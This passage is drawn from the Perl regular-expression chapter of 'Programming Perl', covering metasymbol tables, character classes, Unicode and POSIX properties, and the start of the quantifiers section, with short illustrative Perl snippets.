
If you learn only one of the twelve metacharacters, choose the backslash. (Er . . . and the parentheses.) That's because backslash disables the others. When a backslash precedes a nonalphanumeric character in a Perl pattern, it always makes that next character a literal. If you need to match one of the twelve metacharacters in a pattern literally, you write them with a backslash in front. Thus, \. matches a real dot, \$ a real dollar sign, \\ a real backslash, and so on. This is known as "escaping" the metacharacter, or "quoting it", or sometimes just "backslashing" it. (Of course, you already know that backslash is used to suppress variable interpolation in double-quoted strings.)

Although a backslash turns a metacharacter into a literal character, its effect upon a following alphanumeric character goes the other direction. It takes something that was regular and makes it special. That is, together they make a metasymbol. An alphabetical list of these metasymbols can be found below in Table 5-7.

5.3.1. Metasymbol Tables

In the following tables, the Atomic column says "yes" if the given metasymbol is quantifiable (if it can match something with width, more or less). Also, we've used "..." to represent "something else". Please see the later discussion to find out what "..." means, if it is not clear from the one-line gloss in the table.)

Table 5-4 shows the basic traditional metasymbols. The first four of these are the structural metasymbols we mentioned earlier, while the last three are simple metacharacters. The . metacharacter is an example of an atom because it matches something with width (the width of a character, in this case); ^ and $ are examples of assertions, because they match something of zero width, and because they are only evaluated to see if they're true or not.

Table 5.4. General Regex Metacharacters

Symbol | Atomic | Meaning
\... | Varies | De-meta next nonalphanumeric character, meta next alphanumeric character (maybe).
...|... | No | Alternation (match one or the other).
(...) | Yes | Grouping (treat as a unit).
[...] | Yes | Character class (match one character from a set).
^ | No | True at beginning of string (or after any newline, maybe).
. | Yes | Match one character (except newline, normally).
$ | No | True at end of string (or before any newline, maybe).

The quantifiers, which are further described in their own section, indicate how many times the preceding atom (that is, single character or grouping) should match. These are listed in Table 5-5.

Table 5.5. Regex Quantifiers

Quantifier | Atomic | Meaning
* | No | Match 0 or more times (maximal).
+ | No | Match 1 or more times (maximal).
? | No | Match 1 or 0 times (maximal).
{COUNT} | No | Match exactly COUNT times.
{MIN,} | No | Match at least MIN times (maximal).
{MIN,MAX} | No | Match at least MIN but not more than MAX times (maximal).
*? | No | Match 0 or more times (minimal).
+? | No | Match 1 or more times (minimal).
?? | No | Match 0 or 1 time (minimal).
{MIN,}? | No | Match at least MIN times (minimal).
{MIN,MAX}? | No | Match at least MIN but not more than MAX times (minimal).

A minimal quantifier tries to match as few characters as possible within its allowed range. A maximal quantifier tries to match as many characters as possible within its allowed range. For instance, .+ is guaranteed to match at least one character of the string, but will match all of them given the opportunity. The opportunities are discussed later in "The Little Engine That /Could(n't)?/".

You'll note that quantifiers may never be quantified.

We wanted to provide an extensible syntax for new kinds of metasymbols. Given that we only had a dozen metacharacters to work with, we chose a formerly illegal regex sequence to use for arbitrary syntactic extensions. These metasymbols are all of the form (?KEY...); that is, a (balanced) parenthesis followed by a question mark, followed by a KEY and the rest of the subpattern. The KEY character indicates which particular regex extension it is. See Table 5-6 for a list of these. Most of them behave structurally since they're based on parentheses, but they also have additional meanings. Again, only atoms may be quantified because they represent something that's really there (potentially).

Table 5.6. Extended Regex Sequences

Extension | Atomic | Meaning
(?#...) | No | Comment, discard.
(?:...) | Yes | Cluster-only parentheses, no capturing.
(?imsx-imsx) | No | Enable/disable pattern modifiers.
(?imsx-imsx:...) | Yes | Cluster-only parentheses plus modifiers.
(?=...) | No | True if lookahead assertion succeeds.
(?!...) | No | True if lookahead assertion fails.
(?<=...) | No | True if lookbehind assertion succeeds.
(?<!...) | No | True if lookbehind assertion fails.
(?>...) | Yes | Match nonbacktracking subpattern.
(?{...}) | No | Execute embedded Perl code.
(??{...}) | Yes | Match regex from embedded Perl code.
(?(...)...|...) | Yes | Match with if-then-else pattern.
(?(...)...) | Yes | Match with if-then pattern.

And finally, Table 5-7 shows all of your favorite alphanumeric metasymbols. (Symbols that are processed by the variable interpolation pass are marked with a dash in the Atomic column, since the Engine never even sees them.)

Table 5.7. Alphanumeric Regex Metasymbols

Symbol | Atomic | Meaning
\0 | Yes | Match the null character (ASCII NUL).
\NNN | Yes | Match the character given in octal, up to \377.
\n | Yes | Match nth previously captured string (decimal).
\a | Yes | Match the alarm character (BEL).
\A | No | True at the beginning of a string.
\b | Yes | Match the backspace character (BS).
\b | No | True at word boundary.
\B | No | True when not at word boundary.
\c X | Yes | Match the control character Control-X (\cZ, \c[, etc.).
\C | Yes | Match one byte (C char) even in utf8 (dangerous).
\d | Yes | Match any digit character.
\D | Yes | Match any nondigit character.
\e | Yes | Match the escape character (ASCII ESC, not backslash).
\E | -- | End case (\L, \U) or metaquote (\Q) translation.
\f | Yes | Match the form feed character (FF).
\G | No | True at end-of-match position of prior m//g.
\l | -- | Lowercase the next character only.
\L | -- | Lowercase till \E.
\n | Yes | Match the newline character (usually NL, but CR on Macs).
\N{NAME} | Yes | Match the named char (\N{greek:Sigma}).
\p{PROP} | Yes | Match any character with the named property.
\P{PROP} | Yes | Match any character without the named property.
\Q | -- | Quote (de-meta) metacharacters till \E.
\r | Yes | Match the return character (usually CR, but NL on Macs).
\s | Yes | Match any whitespace character.
\S | Yes | Match any nonwhitespace character.
\t | Yes | Match the tab character (HT).
\u | -- | Titlecase next character only.
\U | -- | Uppercase (not titlecase) till \E.
\w | Yes | Match any "word" character (alphanumerics plus "_").
\W | Yes | Match any nonword character.
\x{abcd} | Yes | Match the character given in hexadecimal.
\X | Yes | Match Unicode "combining character sequence" string.
\z | No | True at end of string only.
\Z | No | True at end of string or before optional newline.

The braces are optional on \p and \P if the property name is one character. The braces are optional on \x if the hexadecimal number is two digits or less. The braces are never optional on \N.

Only metasymbols with "Match the..." or "Match any..." descriptions may be used within character classes (square brackets). That is, character classes are limited to containing specific sets of characters, so within them you may only use metasymbols that describe other specific sets of characters, or that describe specific individual characters. Of course, these metasymbols may also be used outside character classes, along with all the other nonclassificatory metasymbols. Note however that \b is two entirely different beasties: it's a backspace character inside the character class, but a word boundary assertion outside.

There is some amount of overlap between the characters that a pattern can match and the characters an ordinary double-quoted string can interpolate. Since regexes undergo two passes, it is sometimes ambiguous which pass should process a given character. When there is ambiguity, the variable interpolation pass defers the interpretation of such characters to the regular expression parser.

But the variable interpolation pass can only defer to the regex parser when it knows it is parsing a regex. You can specify regular expressions as ordinary double-quoted strings, but then you must follow normal double-quote rules. Any of the previous metasymbols that happen to map to actual characters will still work, even though they're not being deferred to the regex parser. But you can't use any of the other metasymbols in ordinary double quotes (or in any similar constructs such as `...`, qq(...), qx(...), or the equivalent here documents). If you want your string to be parsed as a regular expression without doing any matching, you should be using the qr// (quote regex) operator.

Note that the case and metaquote translation escapes (\U and friends) must be processed during the variable interpolation pass because the purpose of those metasymbols is to influence how variables are interpolated. If you suppress variable interpolation with single quotes, you don't get the translation escapes either. Neither variables nor translation escapes (\U, etc.) are expanded in any single quoted string, nor in single-quoted m'...' or qr'...' operators. Even when you do interpolation, these translation escapes are ignored if they show up as the result of variable interpolation, since by then it's too late to influence variable interpolation.

Although the transliteration operator doesn't take regular expressions, any metasymbol we've discussed that matches a single specific character also works in a tr/// operation. The rest do not (except for backslash, which continues to work in the backward way it always works.)

5.3.2. Specific Characters

As mentioned before, everything that's not special in a pattern matches itself. That means an /a/ matches an "a", an /=/ matches an "=", and so on. Some characters, though, aren't very easy to type in from the keyboard or, even if you manage that, don't show up on a printout; control characters are notorious for this. In a regular expression, Perl recognizes the following double-quotish character aliases:

Escape | Meaning
\0 | Null character (ASCII NUL)
\a | Alarm (BEL)
\e | Escape (ESC)
\f | Form feed (FF)
\n | Newline (NL, CR on Mac)
\r | Return (CR, NL on Mac)
\t | Tab (HT)

Just as in double-quoted strings, Perl also honors the following four metasymbols in patterns:

\c X

A named control character, like \cC for Control-C, \cZ for Control-Z, \c[ for ESC, and \c? for DEL.

\NNN

A character specified using its two- or three-digit octal code. The leading 0 is optional, except for values less than 010 (8 decimal) since (unlike in double-quoted strings) the single-digit versions are always considered to be backreferences to captured strings within a pattern. Multiple digits are interpreted as the nth backreference if you've captured at least n substrings earlier in the pattern (where n is considered as a decimal number). Otherwise, they are interpreted as a character specified in octal.

\x{LONGHEX}
\x HEX

A character number specified as one or two hex digits ([0-9a-fA-F]), as in \x1B. The one-digit form is usable only if the character following it is not a hex digit. If braces are used, you may use as many digits as you'd like, which may result in a Unicode character. For example, \x{262f} matches a Unicode YIN YANG.

\N{NAME}

A named character, such \N{GREEK SMALL LETTER EPSILON}, \N{greek:epsilon}, or \N{epsilon}. This requires the use charnames pragma described in Chapter 31, "Pragmatic Modules", which also determines which flavors of those names you may use (":long", ":full", ":short" respectively, corresponding to the three styles just shown).

A list of all Unicode character names can be found in your closest Unicode standards document, or in PATH_TO_PERLLIB/unicode/Names.txt.

5.3.3. Wildcard Metasymbols

Three special metasymbols serve as generic wildcards, each of them matching "any" character (for certain values of "any"). These are the dot ("."), \C, and \X. None of these may be used in a character class. You can't use the dot there because it would match (nearly) any character in existence, so it's something of a universal character class in its own right. If you're going to include or exclude everything, there's not much point in having a character class. The special wildcards \C and \X have special structural meanings that don't map well to the notion of choosing a single Unicode character, which is the level at which character classes work.

The dot metacharacter matches any one character other than a newline. (And with the /s modifier, it matches that, too.) Like any of the dozen special characters in a pattern, to match a dot literally, you must escape it with a backslash. For example, this checks whether a filename ends with a dot followed by a one-character extension:

if ($pathname =~ /\.(.)\z/s) {
    print "Ends in $1\n";
}
The first dot, the escaped one, is the literal character, and the second says "match any character". The \z says to match only at the end of the string, and the /s modifier lets the dot match a newline as well. (Yes, using a newline as a file extension Isn't Very Nice, but that doesn't mean it can't happen.)

The dot metacharacter is most often used with a quantifier. A .* matches a maximal number of characters, while a .*? matches a minimal number of characters. But it's also sometimes used without a quantifier for its width: /(..):(..):(..)/ matches three colon-separated fields, each of which is two characters long.

If you use a dot in a pattern compiled under the lexically scoped use utf8 pragma, then it will match any Unicode character. (You're not supposed to need a use utf8 for that, but accidents will happen. The pragma may not be necessary by the time you read this.)

use utf8;
use charnames qw/:full/;
$BWV[887] = "G\N{MUSIC SHARP SIGN} minor";
($note, $black, $mode) = $BWV[887] =~ /^([A-G])(.)\s+(\S+)/;
print "That's lookin' sharp!\n" if $black eq chr(9839);

The \X metasymbol matches a character in a more extended sense. It really matches a string of one or more Unicode characters known as a "combining character sequence". Such a sequence consists of a base character followed by any "mark" characters (diacritical markings like cedillas or diereses) that combine with that base character to form one logical unit. \X is exactly equivalent to (?:\PM\pM*). This allows it to match one logical character, even when that really comprises several separate characters. The length of the match in /\X/ would exceed one character if it matched any combining characters. (And that's character length, which has little to do with byte length).

If you are using Unicode and really want to get at a single byte instead of a single character, you can use the \C metasymbol. This will always match one byte (specifically, one C language char type), even if this gets you out of sync with your Unicode character stream. See the appropriate warnings about doing this in Chapter 15, "Unicode".

Previous | Home | Next
5.2. Pattern-Matching Operators | Book Index | 5.4. Character Classes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Character Classes (Programming Perl)

 Book Home Programming PerlSearch this book

5.4. Character Classes

In a pattern match, you may match any character that has--or that does not have--a particular property. There are four ways to specify character classes. You may specify a character classes in the traditional way using square brackets and enumerating the possible characters, or you may use any of three mnemonic shortcuts: the classic Perl classes, the new Perl Unicode properties, or the standard POSIX classes. Each of these shortcuts matches only one character from its set. Quantify them to match larger expanses, such as \d+ to match one or more digits. (An easy mistake is to think that \w matches a word. Use \w+ to match a word.)

5.4.1. Custom Character Classes

An enumerated list of characters in square brackets is called a character class and matches any one of the characters in the list. For example, [aeiouy] matches a letter that can be a vowel in English. (For Welsh add a "w", for Scottish an "r".) To match a right square bracket, either backslash it or place it first in the list.

Character ranges may be indicated using a hyphen and the a-z notation. Multiple ranges may be combined; for example, [0-9a-fA-F] matches one hex "digit". You may use a backslash to protect a hyphen that would otherwise be interpreted as a range delimiter, or just put it at the beginning or end of the class (a practice which is arguably less readable but more traditional).

A caret (or circumflex, or hat, or up arrow) at the front of the character class inverts the class, causing it to match any single character not in the list. (To match a caret, either don't put it first, or better, escape it with a backslash.) For example, [^aeiouy] matches any character that isn't a vowel. Be careful with character class negation, though, because the universe of characters is expanding. For example, that character class matches consonants--and also matches spaces, newlines, and anything (including vowels) in Cyrillic, Greek, or nearly any other script, not to mention every idiograph in Chinese, Japanese, and Korean. And someday maybe even Cirth, Tengwar, and Klingon. (Linear B and Etruscan, for sure.) So it might be better to specify your consonants explicitly, such as [cbdfghjklmnpqrstvwxyz], or [b-df-hj-np-tv-z] for short. (This also solves the issue of "y" needing to be in two places at once, which a set complement would preclude.)

Normal character metasymbols are supported inside a character class, (see "Specific Characters"), such as \n, \t, \c X, \NNN, and \N{NAME}. Additionally, you may use \b within a character class to mean a backspace, just as it does in a double-quoted string. Normally, in a pattern match, it means a word boundary. But zero-width assertions don't make any sense in character classes, so here \b returns to its normal meaning in strings. You may also use any predefined character class described later in the chapter (classic, Unicode, or POSIX), but don't try to use them as endpoints of a range--that doesn't make sense, so the "-" will be interpreted literally.

All other metasymbols lose their special meaning inside square brackets. In particular, you can't use any of the three generic wildcards: ".", \X, or \C. The first often surprises people, but it doesn't make much sense to use the universal character class within a restricted one, and you often want to match a literal dot as part of a character class--when you're matching filenames, for instance. It's also meaningless to specify quantifiers, assertions, or alternation inside a character class, since the characters are interpreted individually. For example, [fee|fie|foe|foo] means the same thing as [feio|].

5.4.2. Classic Perl Character Class Shortcuts

Since the beginning, Perl has provided a number of character class shortcuts. These are listed in Table 5-8. All of them are backslashed alphabetic metasymbols, and in each case, the uppercase version is the negation of the lowercase version. The meanings of these are not quite as fixed as you might expect; the meanings can be influenced by locale settings. Even if you don't use locales, the meanings can change whenever a new Unicode standard comes out, adding scripts with new digits and letters. (To keep the old byte meanings, you can always use bytes. For explanations of the utf8 meanings, see "Unicode Properties" later in this chapter. In any case, the utf8 meanings are a superset of the byte meanings.)

Table 5.8. Classic Character Classes

Symbol | Meaning | As Bytes | As utf8
\d | Digit | [0-9] | \p{IsDigit}
\D | Nondigit | [^0-9] | \P{IsDigit}
\s | Whitespace | [ \t\n\r\f] | \p{IsSpace}
\S | Nonwhitespace | [^ \t\n\r\f] | \P{IsSpace}
\w | Word character | [a-zA-Z0-9_] | \p{IsWord}
\W | Non-(word character) | [^a-zA-Z0-9_] | \P{IsWord}

(Yes, we know most words don't have numbers or underscores in them; \w is for matching "words" in the sense of tokens in a typical programming language. Or Perl, for that matter.)

These metasymbols may be used either outside or inside square brackets, that is, either standalone or as part of a constructed character class:

if ($var =~ /\D/)        { warn "contains non-digit" }
if ($var =~ /[^\w\s.]/)  { warn "contains non-(word, space, dot)" }

5.4.3. Unicode Properties

Unicode properties are available using \p{PROP} and its set complement, \P{PROP}. For the rare properties with one-character names, braces are optional, as in \pN to indicate a numeric character (not necessarily decimal--Roman numerals are numeric characters too). These property classes may be used by themselves or combined in a constructed character class:

if ($var =~ /^\p{IsAlpha}+$/)      { print "all alphabetic" }
if ($var =~ s/[\p{Zl}\p{Zp}]/\n/g) { print "fixed newline wannabes" }
Some properties are directly defined in the Unicode standard, and some properties are composites defined by Perl, based on the standard properties. Zl and Zp are standard Unicode properties representing line separators and paragraph separators, while IsAlpha is defined by Perl to be a property class combining the standard properties Ll, Lu, Lt, and Lo, (that is, letters that are lowercase, uppercase, titlecase, or other). As of version 5.6.0 of Perl, you need to use utf8 for these properties to work. This restriction will be relaxed in the future.

There are a great many properties. We'll list the ones we know about, but the list is necessarily incomplete. New properties are likely to be in new versions of Unicode, and you can even define your own properties. More about that later.

The Unicode Consortium produces the online resources that turn into the various files Perl uses in its Unicode implementation. For more about these files, see Chapter 15, "Unicode". You can get a nice overview of Unicode in the document PATH_TO_PERLLIB/unicode/Unicode3.html where PATH_TO_PERLLIB is what is printed out by:

perl -MConfig -le 'print $Config{privlib}'
Most Unicode properties are of the form \p{Is PROP}. The Is is optional, since it's so common, but you may prefer to leave it in for readability.

5.4.3.1. Perl's Unicode properties

First, Table 5-9 lists Perl's composite properties. They're defined to be reasonably close to the standard POSIX definitions for character classes.

Table 5.9. Composite Unicode Properties

Property | Equivalent
IsASCII | [\x00-\x7f]
IsAlnum | [\p{IsLl}\p{IsLu}\p{IsLt}\p{IsLo}\p{IsNd}]
IsAlpha | [\p{IsLl}\p{IsLu}\p{IsLt}\p{IsLo}]
IsCntrl | \p{IsC}
IsDigit | \p{Nd}
IsGraph | [^\pC\p{IsSpace}]
IsLower | \p{IsLl}
IsPrint | \P{IsC}
IsPunct | \p{IsP}
IsSpace | [\t\n\f\r\p{IsZ}]
IsUpper | [\p{IsLu}\p{IsLt}]
IsWord | [_\p{IsLl}\p{IsLu}\p{IsLt}\p{IsLo}\p{IsNd}]
IsXDigit | [0-9a-fA-F]

Perl also provides the following composites for each of main categories of standard Unicode properties (see the next section):

Property | Meaning | Normative
IsC | Crazy control codes and such | Yes
IsL | Letters | Partly
IsM | Marks | Yes
IsN | Numbers | Yes
IsP | Punctuation | No
IsS | Symbols | No
IsZ | Separators (Zeparators?) | Yes

5.4.3.2. Standard Unicode properties

Table 5-10 lists the most basic standard Unicode properties, derived from each character's category. No character is a member of more than one category. Some properties are normative; others are merely informative. See the Unicode Standard for the standard spiel on just how normative the normative information is, and just how informative the informative information isn't.

Table 5.10. Standard Unicode Properties

Property | Meaning | Normative
IsCc | Other, Control | Yes
IsCf | Other, Format | Yes
IsCn | Other, Not assigned | Yes
IsCo | Other, Private Use | Yes
IsCs | Other, Surrogate | Yes
IsLl | Letter, Lowercase | Yes
IsLm | Letter, Modifier | No
IsLo | Letter, Other | No
IsLt | Letter, Titlecase | Yes
IsLu | Letter, Uppercase | Yes
IsMc | Mark, Combining | Yes
IsMe | Mark, Enclosing | Yes
IsMn | Mark, Nonspacing | Yes
IsNd | Number, Decimal digit | Yes
IsNl | Number, Letter | Yes
IsNo | Number, Other | Yes
IsPc | Punctuation, Connector | No
IsPd | Punctuation, Dash | No
IsPe | Punctuation, Close | No
IsPf | Punctuation, Final quote | No
IsPi | Punctuation, Initial quote | No
IsPo | Punctuation, Other | No
IsPs | Punctuation, Open | No
IsSc | Symbol, Currency | No
IsSk | Symbol, Modifier | No
IsSm | Symbol, Math | No
IsSo | Symbol, Other | No
IsZl | Separator, Line | Yes
IsZp | Separator, Paragraph | Yes
IsZs | Separator, Space | Yes

Another useful set of properties has to do with whether a given character can be decomposed (either canonically or compatibly) into other simpler characters. Canonical decomposition doesn't lose any formatting information. Compatibility decomposition may lose formatting information such as whether a character is a superscript.

Property | Information Lost
IsDecoCanon | Nothing
IsDecoCompat | Something (one of the following)
IsDCcircle | Circle around character
IsDCfinal | Final position preference (Arabic)
IsDCfont | Variant font preference
IsDCfraction | Vulgar fraction characteristic
IsDCinitial | Initial position preference (Arabic)
IsDCisolated | Isolated position preference (Arabic)
IsDCmedial | Medial position preference (Arabic)
IsDCnarrow | Narrow characteristic
IsDCnoBreak | Nonbreaking preference on space or hyphen
IsDCsmall | Small characteristic
IsDCsquare | Square around CJK character
IsDCsub | Subscription
IsDCsuper | Superscription
IsDCvertical | Rotation (horizontal to vertical)
IsDCwide | Wide characteristic
IsDCcompat | Identity (miscellaneous)

Here are some properties of interest to people doing bidirectional rendering:

Property | Meaning
IsBidiL | Left-to-right (Arabic, Hebrew)
IsBidiLRE | Left-to-right embedding
IsBidiLRO | Left-to-right override
IsBidiR | Right-to-left
IsBidiAL | Right-to-left Arabic
IsBidiRLE | Right-to-left embedding
IsBidiRLO | Right-to-left override
IsBidiPDF | Pop directional format
IsBidiEN | European number
IsBidiES | European number separator
IsBidiET | European number terminator
IsBidiAN | Arabic number
IsBidiCS | Common number separator
IsBidiNSM | Nonspacing mark
IsBidiBN | Boundary neutral
IsBidiB | Paragraph separator
IsBidiS | Segment separator
IsBidiWS | Whitespace
IsBidiON | Other Neutrals
IsMirrored | Reverse when used right-to-left

The following properties classify various syllabaries according to vowel sounds:

IsSylA         IsSylE         IsSylO         IsSylWAA       IsSylWII
IsSylAA        IsSylEE        IsSylOO        IsSylWC        IsSylWO
IsSylAAI       IsSylI         IsSylU         IsSylWE        IsSylWOO
IsSylAI        IsSylII        IsSylV         IsSylWEE       IsSylWU
IsSylC         IsSylN         IsSylWA        IsSylWI        IsSylWV
For example, \p{IsSylA} would match \N{KATAKANA LETTER KA} but not \N{KATAKANA LETTER KU}.

Now that we've basically told you all these Unicode 3.0 properties, we should point out that a few of the more esoteric ones aren't implemented in version 5.6.0 of Perl because its implementation was based in part on Unicode 2.0, and things like the bidirectional algorithm were still being worked out. However, by the time you read this, the missing properties may well be implemented, so we listed them anyway.

5.4.3.3. Unicode block properties

Some Unicode properties are of the form \p{In SCRIPT}. (Note the distinction between Is and In.) The In properties are for testing block ranges of a particular SCRIPT. If you have a character, and you wonder whether it were written in Greek script, you could test with:

print "It's Greek to me!\n" if chr(931) =~ /\p{InGreek}/;
That works by checking whether a character is "in" the valid range of that script type. This may be negated with \P{In SCRIPT} to find out whether something isn't in a particular script's block, such as \P{InDingbats} to test whether a string contains a non-dingbat. Block properties include the following:
InArabic       InCyrillic     InHangulJamo   InMalayalam    InSyriac
InArmenian     InDevanagari   InHebrew       InMongolian    InTamil
InArrows       InDingbats     InHiragana     InMyanmar      InTelugu
InBasicLatin   InEthiopic     InKanbun       InOgham        InThaana
InBengali      InGeorgian     InKannada      InOriya        InThai
InBopomofo     InGreek        InKatakana     InRunic        InTibetan
InBoxDrawing   InGujarati     InKhmer        InSinhala      InYiRadicals
InCherokee     InGurmukhi     InLao          InSpecials     InYiSyllables
Not to mention jawbreakers like these:
InAlphabeticPresentationForms         InHalfwidthandFullwidthForms
InArabicPresentationForms-A           InHangulCompatibilityJamo
InArabicPresentationForms-B           InHangulSyllables
InBlockElements                       InHighPrivateUseSurrogates
InBopomofoExtended                    InHighSurrogates
InBraillePatterns                     InIdeographicDescriptionCharacters
InCJKCompatibility                    InIPAExtensions
InCJKCompatibilityForms               InKangxiRadicals
InCJKCompatibilityIdeographs          InLatin-1Supplement
InCJKRadicalsSupplement               InLatinExtended-A
InCJKSymbolsandPunctuation            InLatinExtended-B
InCJKUnifiedIdeographs                InLatinExtendedAdditional
InCJKUnifiedIdeographsExtensionA      InLetterlikeSymbols
InCombiningDiacriticalMarks           InLowSurrogates
InCombiningHalfMarks                  InMathematicalOperators
InCombiningMarksforSymbols            InMiscellaneousSymbols
InControlPictures                     InMiscellaneousTechnical
InCurrencySymbols                     InNumberForms
InEnclosedAlphanumerics               InOpticalCharacterRecognition
InEnclosedCJKLettersandMonths         InPrivateUse
InGeneralPunctuation                  InSuperscriptsandSubscripts
InGeometricShapes                     InSmallFormVariants
InGreekExtended                       InSpacingModifierLetters
And the winner is:
InUnifiedCanadianAboriginalSyllabics
See PATH_TO_PERLLIB/unicode/In/*.pl to get an up-to-date listing of all of these character block properties. Note that these In properties are only testing to see if the character is in the block of characters allocated for that script. There is no guarantee that all characters in that range are defined; you also need to test against one of the Is properties discussed earlier to see if the character is defined. There is also no guarantee that a particular language doesn't use characters outside its assigned block. In particular, many European languages mix extended Latin characters with Latin-1 characters.

But hey, if you need a particular property that isn't provided, that's not a big problem. Read on.

5.4.3.4. Defining your own character properties

To define your own property, you need to write a subroutine with the name of the property you want (see Chapter 6, "Subroutines"). The subroutine should be defined in the package that needs the property (see Chapter 10, "Packages"), which means that if you want to use it in multiple packages, you'll either have to import it from a module (see Chapter 11, "Modules"), or inherit it as a class method from the package in which it is defined (see Chapter 12, "Objects").

Once you've got that all settled, the subroutine should return data in the same format as the files in PATH_TO_PERLLIB/unicode/Is directory. That is, just return a list of characters or character ranges in hexadecimal, one per line. If there is a range, the two numbers are separated by a tab. Suppose you wanted a property that would be true if your character is in the range of either of the Japanese syllabaries, known as hiragana and katakana. (Together they're known as kana). You can just put in the two ranges like this:

sub InKana {
    return <<'END';
3040    309F
30A0    30FF
END
}
Alternatively, you could define it in terms of existing property names:
sub InKana {
    return <<'END';
+utf8::InHiragana
+utf8::InKatakana
END
}
You can also do set subtraction using a "-" prefix. Suppose you only wanted the actual characters, not just the block ranges of characters. You could weed out all the undefined ones like this:
sub IsKana {
    return <<'END';
+utf8::InHiragana
+utf8::InKatakana
-utf8::IsCn
END
}
You can also start with a complemented character set using the "!" prefix:
sub IsNotKana {
    return <<'END';
!utf8::InHiragana
-utf8::InKatakana
+utf8::IsCn
END
}
Perl itself uses exactly the same tricks to define the meanings of its "classic" character classes (like \w) when you include them in your own custom character classes (like [-.\w\s]). You might think that the more complicated you get with your rules, the slower they will run, but in fact, once Perl has calculated the bit pattern for a particular 64-bit swatch of your property, it caches it so it never has to recalculate the pattern again. (It does it in 64-bit swatches so that it doesn't even have to decode your utf8 to do its lookups.) Thus, all character classes, built-in or custom, run at essentially the same speed (fast) once they get going.

5.4.4. POSIX-Style Character Classes

Unlike Perl's other character class shortcuts, the POSIX-style character-class syntax notation, [:CLASS:], is available for use only when constructing other character classes, that is, inside an additional pair of square brackets. For example, /[.,[:alpha:][:digit:]]/ will search for one character that is either a literal dot (because it's in a character class), a comma, an alphabetic character, or a digit.

The POSIX classes available as of revision 5.6 of Perl are shown in Table 5-11.

Table 5.11. POSIX Character Classes

Class | Meaning
alnum | Any alphanumeric, that is, an alpha or a digit.
alpha | Any letter. (That's a lot more letters than you think, unless you're thinking Unicode, in which case it's still a lot.)
ascii | Any character with an ordinal value between 0 and 127.
cntrl | Any control character. Usually characters that don't produce output as such, but instead control the terminal somehow; for example, newline, form feed, and backspace are all control characters. Characters with an ord value less than 32 are most often classified as control characters.
digit | A character representing a decimal digit, such as 0 to 9. (Includes other characters under Unicode.) Equivalent to \d.
graph | Any alphanumeric or punctuation character.
lower | A lowercase letter.
print | Any alphanumeric or punctuation character or space.
punct | Any punctuation character.
space | Any space character. Includes tab, newline, form feed, and carriage return (and a lot more under Unicode.) Equivalent to \s.
upper | Any uppercase (or titlecase) letter.
word | Any identifier character, either an alnum or underline.
xdigit | Any hexadecimal digit. Though this may seem silly ([0-9a-fA-F] works just fine), it is included for completeness.

You can negate the POSIX character classes by prefixing the class name with a ^ following the [:. (This is a Perl extension.) For example:

POSIX | Classic
[:^digit:] | \D
[:^space:] | \S
[:^word:] | \W

If the use utf8 pragma is not requested, but the use locale pragma is, the classes correlate directly with the equivalent functions in the C library's isalpha(3) interface (except for word, which is a Perl extension, mirroring \w).

If the utf8 pragma is used, POSIX character classes are exactly equivalent to the corresponding Is properties listed in Table 5-9. For example [:lower:] and \p{Lower} are equivalent, except that the POSIX classes may only be used within constructed character classes, whereas Unicode properties have no such restriction and may be used in patterns wherever Perl shortcuts like \s and \w may be used.

The brackets are part of the POSIX-style [::] construct, not part of the whole character class. This leads to writing patterns like /^[[:lower:][:digit:]]+$/, to match a string consisting entirely of lowercase letters or digits (plus an optional trailing newline). In particular, this does not work:

42 =~ /^[:digit:]$/         # WRONG
That's because it's not inside a character class. Rather, it is a character class, the one representing the characters ":", "i", "t", "g", and "d". Perl doesn't care that you specified ":" twice.

Here's what you need instead:

42 =~ /^[[:digit:]]+$/
The POSIX character classes [.cc.] and [=cc=] are recognized but produce an error indicating they are not supported. Trying to use any POSIX character class in older verions of Perl is likely to fail miserably, and perhaps even silently. If you're going to use POSIX character classes, it's best to require a new version of Perl by saying:
use 5.6.0;

Previous | Home | Next
5.3. Metacharacters and Metasymbols | Book Index | 5.5. Quantifiers
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Quantifiers (Programming Perl)

 Book Home Programming PerlSearch this book

5.5. Quantifiers

Unless you say otherwise, each item in a regular expression matches just once. With a pattern like /nop/, each of those characters must match, each right after the other. Words like "panoply" or "xenophobia" are fine, because where the match occurs doesn't matter.

If you wanted to match both "xenophobia" and "Snoopy", you couldn't use the /nop/ pattern, since that requires just one "o" between the "n" and the "p", and Snoopy has two. This is where quantifiers come in handy: they say how many times something may match, instead of the default of matching just once. Quantifiers in a regular expression are like loops in a program; in fact, if you think of a regex as a program, then they are loops. Some loops are exact, like "repeat this match five times only" ({5}). Others give both lower and upper bounds on the match count, like "repeat this match at least twice but no more than four times" ({2,4}). Others have no closed upper bound at all, like "match this at least twice, but as many times as you'd like" ({2,}).

Table 5-12 shows the quantifiers that Perl recognizes in a pattern.

Table 5.12. Regex Quantifiers Compared

Maximal | Minimal | Allowed Range
{MIN,MAX} | {MIN,MAX}? | Must occur at least MIN times but no more than MAX times
{MIN,} | {MIN,}? | Must occur at least MIN times
{COUNT} | {COUNT}? | Must match exactly COUNT times
* | *? | 0 or more times (same as {0,})
+ | +? | 1 or more times (same as {1,})
? | ?? | 0 or 1 time (same as {0,1})

Something with a * or a ? doesn't actually have to match. That's because they can match 0 times and still be considered a success. A + may often be a better fit, since it has to be there at least once.

Don't be confused by the use of "exactly" in the previous table. It refers only to the repeat count, not the overall string. For example, $n =~ /\d{3}/ doesn't say "is this string exactly three digits long?" It asks whether there's any point within $n at which three digits occur in a row. Strings like "101 Morris Street" test true, but so do strings like "95472" or "1-800-555-1212". All contain three digits at one or more points, which is all you asked about. See the section Section 5.6, "Positions" for how to use positional assertions (as in /^\d{3}$/) to nail this down.

Given the opportunity to match something a variable number of times, maximal quantifiers will elect to maximize the repeat count. So when we say "as many times as you'd like", the greedy quantifier interprets this to mean "as many times as you can possibly get away with", constrained only by the requirement that this not cause specifications later in the match to fail. If a pattern contains two open-ended quantifiers, then obviously both cannot consume the entire string: characters used by one part of the match are no longer available to a later part. Each quantifier is greedy at the expense of those that follow it, reading the pattern left to right.

That's the traditional behavior of quantifiers in regular expressions. However, Perl permits you to reform the behavior of its quantifiers: by placing a ? after that quantifier, you change it from maximal to minimal. That doesn't mean that a minimal quantifier will always match the smallest number of repetitions allowed by its range, any more than a maximal quantifier must always match the greatest number allowed in its range. The overall match must still succeed, and the minimal match will take as much as it needs to succeed, and no more. (Minimal quantifiers value contentment over greed.)

For example, in the match:

"exasperate" =~ /e(.*)e/    #  $1 now "xasperat"
